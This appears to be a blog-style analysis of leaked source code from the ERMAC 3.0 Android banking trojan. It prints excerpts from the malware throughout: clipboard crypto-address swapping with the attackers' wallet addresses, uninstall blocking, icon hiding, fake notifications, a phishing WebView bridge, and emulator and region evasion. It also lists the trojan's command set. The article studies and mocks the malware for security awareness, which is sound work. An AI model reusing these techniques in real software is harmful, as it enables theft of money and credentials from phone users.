So, I got my hands on the source code of the ERMAC 3.0 Android trojan. And you know what? I decided to dissect it piece by piece — not so you can go rob grandmas, but so you understand exactly how they're trying to rob you.

Disclaimer: This article is intended solely for educational purposes. If you decide to use this knowledge for anything illegal — you're an idiot, and I warned you.

TL;DR

ERMAC 3.0 is a banking Android trojan that disguises itself as food delivery apps and steals bank card data, crypto wallets, and SMS messages containing 2FA codes. It uses Accessibility Service to intercept input, swap crypto addresses in the clipboard, and block its own removal. It can display phishing windows over banking apps, steal seed phrases from MetaMask, Trust Wallet, and five other wallets, and send SMS messages to all your contacts. It won't run in CIS countries or on emulators — the authors don't shit where they eat. This article will be useful for security professionals, Android developers, and anyone who wants to understand how modern mobile threats work.

A Brief History: How COVID Spawned a Monster

Remember 2020? We were all stuck at home, ordering food through apps and grateful that at least pizza still arrived. Well, while you were choosing between Margherita and Four Cheese, someone very enterprising thought: "What if I stuffed a trojan into a fake delivery app?"

And they did.

ERMAC began its career exactly this way — disguised as food delivery services. The Polish CERT Orange documented one such case. Here's what the fake delivery site looked like:

ERMAC Android Trojan — fake food delivery website
Fake food delivery website distributing the trojan. Source: cert.orange.pl

Looks decent, right? Polish service, Estonian parent company. But when the CERT team looked up the domain — things got interesting:

ERMAC Android Trojan — domain WHOIS data
Domain data: Polish food delivery on Russian servers. Source: cert.orange.pl

Servers in Russia. For a Polish delivery service. With Estonian registration.

As the CERT team wrote: "An Estonian company with global presence on Russian servers? Even if it were profitable from a business standpoint, in this case business would lose due to geopolitics. A three-month SSL certificate and analytics exclusively on Yandex? No... no."

Indeed, no.

Source: cert.orange.pl

Anatomy of the Beast

Let's see what's inside this creature:

Android/
├── source/bot/src/main/java/com/amazon/zzz/
│   ├── MainActivity.kt          # Entry point
│   ├── Payload.kt               # Payload launcher
│   ├── Services/
│   │   ├── srvSccessibility.kt  # Accessibility Service (trojan core)
│   │   ├── srvEndlessService.kt # Background service
│   │   └── srvLockDevice.kt     # Device lock
│   ├── Modull/
│   │   ├── module.kt            # C2 command handler
│   │   └── task/                # File manager, camera
│   ├── Receivers/               # SMS, Boot receivers
│   ├── Admin/                   # Device Admin
│   └── ApiNm/                   # C2 server communication
├── Obfuscapk/                   # APK obfuscation
└── apktool.jar                  # Decompiler

Looks almost professional. Almost.

What This Trojan Can Do

The first thing ERMAC does on launch is check where it ended up:

if (utUtils.blockCIS(applicationContext) || utUtils.isRunningOnEmulator()) {
    finish()
    return
}

If you're from a CIS country or running on an emulator — the trojan politely exits. Patriots, for crying out loud. Don't shit where they eat.

Then the Accessibility Service magic begins. This is an Android API originally created to help people with disabilities. The trojan uses it to automatically click permission buttons, intercept everything you type, read your clipboard and swap crypto addresses, block attempts to remove it, disable Google Play Protect, and read all your push notifications.

Beautiful, isn't it?

Commands from the C2 Server

Here's the full list of what the trojan operator can do with your phone:

SMS and Calls:

  • sendsms — send SMS
  • getsms — steal all SMS
  • sendsmsall — send SMS to all contacts
  • calling — call a number
  • forwardcall — forward calls
  • startussd — execute USSD request

Data Theft:

  • getcontacts — steal contacts
  • fmmanager — file manager
  • takephoto — photograph you

Phishing and Injections:

  • startinject — display phishing window over an app
  • push — send fake notification
  • openurl — open URL in browser

Bot Management:

  • startadmin — request admin privileges
  • deleteapplication — delete an application
  • killme — self-destruct

Worth mentioning separately are special commands for stealing seed phrases from crypto wallets: Trust Wallet, MetaMask, Exodus, Mycelium, SafePal, Samourai, Blockchain.com. If you have crypto — they want it.

27 Permissions from Hell

The trojan requests 27 permissions. Let's look at the juiciest ones.

Dangerous permissions — those where you have to tap "Allow":

  • RECEIVE_SMS / READ_SMS / SEND_SMS — 2FA interception, reading messages, mass sending
  • READ_CONTACTS — stealing contacts, mass sending to contact list
  • GET_ACCOUNTS — stealing email accounts
  • READ_PHONE_STATE — IMEI, phone number, carrier
  • CALL_PHONE — calls without your knowledge

Special permissions — require separate enabling in settings:

  • SYSTEM_ALERT_WINDOW — displaying phishing windows over apps
  • REQUEST_INSTALL_PACKAGES — installing bot updates
  • REQUEST_DELETE_PACKAGES — removing antivirus software
  • BIND_DEVICE_ADMIN — protection against removal
  • BIND_ACCESSIBILITY_SERVICE — the core of the entire operation

The application also listens to 15+ system events: device boot, incoming SMS, screen on, battery level changes, app installation and removal...

Top 10 Elegant Solutions

Credit where it's due — some things are beautifully done. From a technical standpoint, of course.

1. Real-Time Crypto Address Swapping

var regex = Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}")  // BTC
var regex2 = Regex("\\b(0x)?[0-9a-fA-F]{40}")               // ETH

private fun ClipboardManager.setClipBoard(str: String, event: AccessibilityEvent) {
    if (str.contains(regex2)) {
        val str = str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
        this.setPrimaryClip(ClipData.newPlainText(str, str))
        event.source?.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args)
    }
}

Intercepts the moment you enter a crypto address, recognizes it with regex, and swaps it both in the clipboard and directly in the input field. You copy your address, paste it — but the attacker's address is already there. Elegant.

2. Multi-Level Removal Protection

private fun blockDeleteBots(packageName: String): Boolean {
    if (className.contains("installedappdetailstop")) {
        blockBack()
        return true
    }
    if (packageName.contains("packageinstaller") && strText.contains(appName)) {
        blockBack()
        return true
    }
    if (className == "deviceadminadd" && isAdminDevice) {
        blockBack()
        return true
    }
}

Intercepts removal attempts at three levels: in app settings, in the uninstall dialog, and when disabling admin rights. Try to delete it — you get kicked back.

3. Support for All Manufacturers

private fun clearCache2() {
    if (manufacturer.contains("samsung")) { /* Samsung-specific */ }
    else if (manufacturer.contains("xiaomi")) { /* MIUI-specific */ }
    else if (manufacturer.contains("huawei")) { /* EMUI-specific */ }
    else if (manufacturer.contains("oppo")) { /* ColorOS-specific */ }
    // ...and so on for 10+ manufacturers
}

Adaptation for Samsung, Xiaomi, Huawei, Oppo, and ten more manufacturers. Each with their unique UI element IDs. Someone actually spent time testing.

4. Fake Push Notifications

fun sendNotification(mContext: Context, app: String, title: String?, text: String?) {
    val icon = activity.loadIcon(pm)
    bitmap = drawableToBitmap(icon!!)
    notificationBuilder.setSmallIcon(Icon.createWithBitmap(bitmap))
    notificationIntent.putExtra("startpush", app)
}

Dynamically loads the target app's icon and creates a notification indistinguishable from the real thing. Click it — a phishing page opens.

5. Double-Layer Encryption

One layer of AES-CBC for network traffic, another for string obfuscation in the APK. Separation of concerns, like in a proper project.

6. WebView Bridge for Injections

inner class WebAppInterface {
    @JavascriptInterface
    fun returnResult(data: String) {
        val jsonObject = JSONObject()
        jsonObject.put("application", nameInj)
        jsonObject.put("data", data)
        apiUt.sendLogs(mContext, nameInj, jsonObject.toString(), type)
    }
}

Clean interface between HTML phishing and native code. Enter your card details in the fake window — they're instantly sent to the server.

7. Analyst Detection

fun blockCIS(context: Context): Boolean {
    return "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]".contains(countrySIM(context))
}

fun isRunningOnEmulator(): Boolean {
    return Build.FINGERPRINT.contains("generic")
            || Build.MODEL.contains("Emulator")
            || Build.MANUFACTURER.contains("Genymotion")
}

SIM card check for CIS countries plus emulator detection. Classic.

8. Dual-SIM Support

fun sendSms(context: Context, phoneNumber: String, message: String, simSlotIndex: Int = 0) {
    val subscriptionInfo = subscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(simSlotIndex)
    SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo.subscriptionId)
        .sendTextMessage(phoneNumber, null, message, pendingIntent, deliveredPI)
}

Full dual-SIM support. The operator can choose which SIM to send SMS from.

9. Disappearing Icon

fun deleteLabelIcon(context: Context) {
    val CTD = ComponentName(context, MainActivity::class.java)
    context.packageManager.setComponentEnabledSetting(
        CTD,
        PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
        PackageManager.DONT_KILL_APP
    )
}

The icon disappears from the launcher, but the app keeps running. The victim doesn't even know anything is installed.

10. Recursive Element Search

fun findNodeWithClass(node: AccessibilityNodeInfo?, className: String): List<AccessibilityNodeInfo> {
    val result = ArrayList<AccessibilityNodeInfo>()
    for (i in 0 until node.childCount) {
        val child = node.getChild(i)
        if (child.className.toString().contains(className)) {
            result.add(child)
        } else {
            result.addAll(findNodeWithClass(child, className))
        }
    }
    return result
}

Universal UI tree traversal for finding any elements. Basic but necessary.

Top 10 Shameful Solutions

And now — why the authors of this trojan still won't get hired at any legitimate company.

1. Static IV in Encryption

private val IV: String by lazy { base64Decode("MDEyMzQ1Njc4OWFiY2RlZg==") }
// Decodes to: "0123456789abcdef"

The IV should be random for each message. Here it's static and predictable. Cryptography 101 failure.

2. Hardcoded Crypto Addresses

str.replace(regex2, "0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca")
str.replace(regex, "bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf")

Addresses right in the code. Any analyst will find them in seconds and add them to blacklists. Should come from the server.

3. Copy-Paste for 10 Screens

} else if (manufacturer.contains("samsung")) {
    // 30 lines of code
} else if (manufacturer.contains("motorola")) {
    // Same 30 lines
} else if (manufacturer.contains("oppo")) {
    // Same 30 lines again

Same code repeated 10+ times with minimal changes. DRY? Never heard of it.

4. Empty Catch Blocks

} catch (e: Exception) {
    // Nothing
}

Throughout the project. Errors are silently swallowed. Debugging hell.

5. Easter Eggs with Profanity

"Destroy_all_humanity" -> { File(...).delete() }
"Putin_is_handsome" -> { File(...).delete() }
"Die_whoever_reversed_this" -> { File(...).delete() }

Kindergarten stuff. These strings are ready-made indicators of compromise for any antivirus.

6. Russian Variables in Production

val cache_fuck by lazy { ... }
val bitch by lazy { ... }
val kill_everyone by lazy { ... }
val reset_all_humanity by lazy { ... }
val stupid_reversers_think_we_will_attack_these_apps = ...

Grep for Cyrillic — and there's your malware origin. Brilliant.

7. Duplicate Functions

// In utUtils.kt:
fun stopSound(context: Context) { ... }

// In udUtils.kt - IDENTICAL code:
fun stopSound(context: Context) { ... }

One function, two files, complete duplication. Why?

8. Magic Numbers

val number = c.getString(2)   // What's 2?
val stexts = c.getString(12)  // 12?
val text = c.getString(13)    // 13?

Column indices without constants or comments. Brittle code that breaks with the first change.

9. Commented Code in Production

fun checkProtect(context: Context) {
    try {
//            SafetyNet.getClient(context)
//                .isVerifyAppsEnabled
//                .addOnCompleteListener { task ->
//                    ...
//                }
    } catch (ex: Exception) {
        SharedPreferencess.checkProtect = "2"
    }
}

20+ lines of commented code. The function does nothing.

10. Placeholders in Production

val url: String = if (BuildConfig.DEBUG) "http://10.0.2.2:3434" else "%INSERT_URL_HERE%"
val k: String = if (BuildConfig.DEBUG) "..." else "%INSERT_KEY_HERE%"

Forget to replace them — the bot doesn't work. No validation whatsoever.

Counting the Cash

Remember those hardcoded crypto addresses I criticized the authors for? Let's see how much they actually stole.

Bitcoin wallet: bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf

Ethereum wallet: 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca

Total transaction volume — around two thousand dollars.

Two. Thousand. Dollars.

These guys wrote a trojan with 27 permissions, support for ten smartphone manufacturers, double-layer encryption, theft from seven crypto wallets, a PHP web builder — and earned less than a junior dev makes in their first month on probation.

This isn't even funny anymore. It's just sad.

Maybe that's why they couldn't land a real job?

Web Builder: Build a Trojan in 5 Minutes

The package includes a PHP web interface for building custom versions. Choose which app to disguise as:

  • org.telegram.messenger (Telegram)
  • com.facebook.katana (Facebook)
  • com.instagram.android (Instagram)
  • com.android.chrome (Chrome)
  • com.google.android.youtube (YouTube)
  • com.whatsapp (WhatsApp)
  • com.zhiliaoapp.musically (TikTok)
Press the button — get a ready APK. Assembly line.

Conclusion

From an architectural standpoint, it's clear: this is a one-shot project. Grab the cash and bail. No long-term planning, code written on the fly, half of it copy-paste, variables in Russian profanity.

But here's the thing — it works. Thousands of people have already lost money to trojans like this. Not because the code is good — but because people click "Allow" without reading, install apps from sketchy sources, and believe that a food delivery app really needs device administrator rights.

Don't be those people.

In upcoming parts, we'll dissect the PHP control panel for this zoo and try running it in a virtual machine.